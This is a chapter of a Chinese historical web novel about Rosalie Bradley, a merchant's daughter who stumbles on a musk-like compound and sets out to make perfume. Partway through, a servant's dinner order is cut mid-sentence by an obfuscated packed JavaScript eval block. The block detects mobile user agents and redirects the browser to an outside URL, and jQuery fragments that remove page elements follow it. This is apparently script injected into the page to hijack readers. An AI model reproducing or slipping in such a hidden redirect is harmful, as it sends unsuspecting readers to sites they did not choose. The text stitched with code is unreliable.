罗莎莉对生意上的事放了两分关注。她是布拉德利先生唯一的子嗣,将来要继承他的家业。
听着听着就聊到了她身上。
“小天才,你最近的研究怎么样了啊?”布拉德利先生摇头晃脑地问,他还让女佣给自己倒了满满一杯威士忌。
“挺不错的。”罗莎莉抬起下巴说。
罗莎莉是个特别的孩子。
在当下普遍的教育下女人都尽量往安静、优雅靠拢,还要培养一些艺术爱好例如绘画、跳舞等。
而她在这样的教育下出了一点小小的偏差,对化学有些许兴趣。
这种兴趣源自一次和父亲的狩猎。
当时她才十岁,在狩猎时遇到了大型哺乳动物,布拉德利先生养的护卫队为了保护他们被抓伤。
她又害怕又愧疚,因为那个人看起来快死了。
在那个医疗并不发达的年代,他很有可能死于细菌感染。
是艾伦先生拿着一种名叫乙醇的液体为他消毒、进行缝合,才命大地活下来。
布拉德利先生大呼神药,还向艾伦先生购买了大量的乙醇备用。
后来才知道,原来这种药品早已被发现了,只是近年来才被广泛运用在各行各业。
罗莎莉一开始只是好奇地想向艾伦先生请教,但是布拉德利太太和艾玛女士却觉得作为一名淑女不应该去关注这些‘奇怪’又‘粗俗’的东西,那都是男人的活计。
但罗莎莉偏偏不是一个爱听妈妈话的洋娃娃,甚至她还爱唱反调。
不让她去问艾伦先生,为了妈妈的面子,可以。但不能阻止她去求父亲给她买相关的书。
靠着这份掺杂着固执和不服输的心气在摸索的八年里,她居然有了一项重大的发现。
这又不得不说到起因了。
布拉德利太太从一次宴会上回来在那儿羡慕地说:“鲍尔将他新染出的那匹布吹的都快上天了,也不怕飞得高摔的远。”
“妈妈,什么布?”罗莎莉问。
“一匹紫罗兰色的布。斯泰西那个懦弱的老兔子也有笑脸的一天。”
本尼迪克·鲍尔一家同住在桑杜,他们经营着一家小小的布料坊,常常将那些染得十分均匀的布料送往伦敦售卖。
斯泰西是鲍尔的妻子,一个懦弱的、以夫为天的女人,布拉德利太太十分瞧不起她。
“紫罗兰色的?”罗莎莉脸上出现了诧异。
这种颜色的布料十分稀缺,只能依靠自然的手段去晕染,前些年特蕾莎公主二十岁诞辰穿了一条全紫色的裙子,瞬间点燃整个巴黎。
贵妇小姐们都为之疯狂,这成了一种身份的象征。
布拉德利太太眼含向往但也没真的想去购买,一个是不愿让鲍尔赚她的钱还有一个是因为这样的布料确实太贵了,做一条华丽的衣裙不知要花多少英镑。
而鲍尔就是靠着量少但还算稳定的紫色布匹的产出,如今的马车也是能画上花纹了。
罗莎莉没有那么多的想法但她觉得这是个机会,一个压倒布拉德利太太和艾玛女士的机会。
之后,她靠着自学的、不系统的知识在家里为她特地建造的实验室里想要合成比紫罗兰色更稀有的染料。
虽然她对化学并不是那么喜爱,但她认可化学是个全新的世界的理念的。
抱着物质和物质之间的碰撞总会产生新的事物,做全新的染料不困难的想法。
结果就是,她失败了。
但是,她在实验的过程中却发现了另一样东西,与麝香的味道很接近。
一种气味很独特的物质,也正是因此才会被她保留下来。
然后,她就发现她是个天才。她创造出了一种现如今都未被发现过的东西。
虽然没有合成稀有的颜色但这项重大的发现足以让她欣喜若狂。
她的脖子也扬的更直了,总是时不时地露出一点傲气向布拉德利太太和艾玛女士证明她的选择是正确的。
可随之而来的问题是,这东西有什么用呢?
这个困惑一直缠着罗莎莉,直到最近她有了新的想法。
香水,一种十分受欢迎的东西。不仅贵族趋之若鹜,平民百姓也很向往。
最初被发明的主要原因是为了掩盖不良气味和提升个人魅力。
市面上最便宜的香水都要1个英镑,因为在有限的、被发现的天然香料中,麝香和龙涎香等动物香料都依赖进口,所以价格十分高昂。
平民买不起香水就会去药店购买廉价香氛,例如薰衣草水,用于掩盖体味或治疗头疼,价格也很亲民只要几便士即可。
有了这个狂热的想法后,她第一时间告诉了她的老父亲,布拉德利先生。
对方十分支持她,还给了一笔英镑作为投资。
抱着对化学的一些喜爱、对发现的自豪以及本身性格的大胆,她决定花费更多的时间在这上面。
这段时间她陆续购买了一批柠檬、杜松、弗吉尼亚州雪松、葡萄柚等等制作材料。
现下她要做的就是调配出一瓶真正的香水。
“好吧,好吧,我们的小科学家,什么时候能让妈妈用上你的香水呢?”布拉德利太太问。
这个么,罗莎莉心里计算了一下,虽然她现在记录了像砖块那么厚的笔记内容,但成品离她心中的满意值还是有些距离的。
“也许明天也许明年,得看灵感和运气什么时候来。”
“既然这样的话,不如先学新的画画技术,我听说现下的油画很受伦敦贵族的喜爱。”布拉德利太太说。
“我有新的想法了!”罗莎莉打断她,提起裙摆就跑了。
“罗丝!”
布拉德利太太气呼呼地扇着羽毛扇子。
“别喊她了,罗丝是要继承我的财产,难道你要把她培养成什么都不懂只知道花边和珠宝的小姐吗?”布拉德利先生说。
“我的意思是,没必要接触那些可怕的东西,万一伤到了皮肤怎么办?”布拉德利太太说。
布拉德利先生转动他的短脖子,又揪了一下他弯翘的小胡子尖尖:“罗丝比谁都看重她的外貌,没见着隔几天就要用牛奶洗澡。”
“你总是惯着她。”布拉德利太太有些埋怨。
“你又比我好到哪里去了?这么多年也没真见你阻止她。”
布拉德利太太懒得装样,翻了一个白眼起身走了。
艾玛女士在她身后并没有看到,但是奥莉弗看到了。
她想,即使艾玛女士亲眼所见也不会觉得她的小姐粗鲁的,只会认为是布拉德利先生把小姐气狠了。
“晚上,让厨房做橙子果冻,太太爱吃。还有小姐喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408866|168792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的法式肉卷。哦!对了,还有昨天刚到的那瓶美酒千万要保存好,晚上我要喝个畅快。”布拉德利先生吩咐还未离开的奥莉弗说。
先走一步的罗莎莉回到位于一楼玻璃花房边的一间房内。
屋内摆放着大量的化学用具和书本,工作台上摊着一本字迹凌乱的笔记。
她坐在凳子上,从脚边的花篮里拿出一些香柠檬,捣成汁放入眼前的平口玻璃试管中,然后贴上标签放在试管架里。
架子上摆了几十种材料,供她做调配。
“香柠檬和雪松……上次试过了,香味散得比较快但气味融合得不错,就是有点单调。”
市面上的香水闻起来基本有两种味道,前调和后调。
而经过罗莎莉的试验,她大可以加个中调但这就很考验她对植物花卉的了解。
柠檬、葡萄柚、苦橙叶这类植物留香时间很短;麝香、龙涎香时间长。
同时麝香、龙涎香也有作为防腐剂的用途。
罗莎莉打算做一款以玫瑰为主题的香水。
“上帝,这真让人烦恼。”
在经历了一个小时的调配后,罗莎莉扔下手中的东西厌烦地靠在椅背上。
因为对化学不是纯粹的喜欢里面夹杂了不少其他的东西,所以如果不是误打误撞发现的新物质和为了对付布拉德利太太和艾玛女士装作十分热爱的样子,她一准会丢掉手里的东西去看新一季的布料和珠宝。
这股不肯服输的劲,布拉德利先生说是附着在血液里的传承。
晚上吃饭的时候,布拉德利太太看到她手上因为用力捣鼓香柠檬产生的红痕很是心疼,当即要再给她配一个女佣还严厉地批评莉露不知道干活。
“妈妈,我让莉露去帮我拿新的玻璃器皿和铜质蒸馏器了。”罗莎莉放下刀叉,看了眼有些委屈的莉露。
“看来一个莉露并不能满足你的需求,不如再找一个?”布拉德利太太问。
再招一个也不是不行,她确实需要一个助手帮忙处理一些简单的工作。那些枯燥的小事实在是不想做了。
“好的,妈妈。”罗莎莉说。
“最好是孤儿,年龄大点也没关系。”布拉德利先生说。
“老爷,我会办妥帖的。”艾玛女士说。
饭后,罗莎莉在院子里散步,莉露跟在身后。
“小姐……”
“莉露,你还是我的贴身女佣。”罗莎莉一眼看出了她躲藏在眼睛里的想法。
不就是怕新来的女佣会代替她的位置,毕竟贴身女佣不仅待遇好偶尔还会得到主人家的奖励。
莉露羞红了脸,不再说什么。
她是孤儿很小就出来找工作,是艾玛见她可怜才收留她做低等女佣,后来被罗莎莉挑中一跃成贴身女佣。
她对布拉德利一家和艾玛都很感激,同时也对这个岗位有着一定的占有欲。
傍晚的夕阳朦胧地照在罗莎莉的裙摆上,花园里的玫瑰被微风吹得轻轻摇摆,香味丝丝缕缕地钻进她的鼻腔。
连日研究带来的疲惫,让她不由自主地坐在柔软的草坪上。
“小姐的发色比玫瑰还要亮眼。”莉露赞叹道。
罗莎莉将披散的头发拢到胸前,爱惜地抚摸。
这头漂亮的红发是她作为桑杜最漂亮的小姐的资本之一。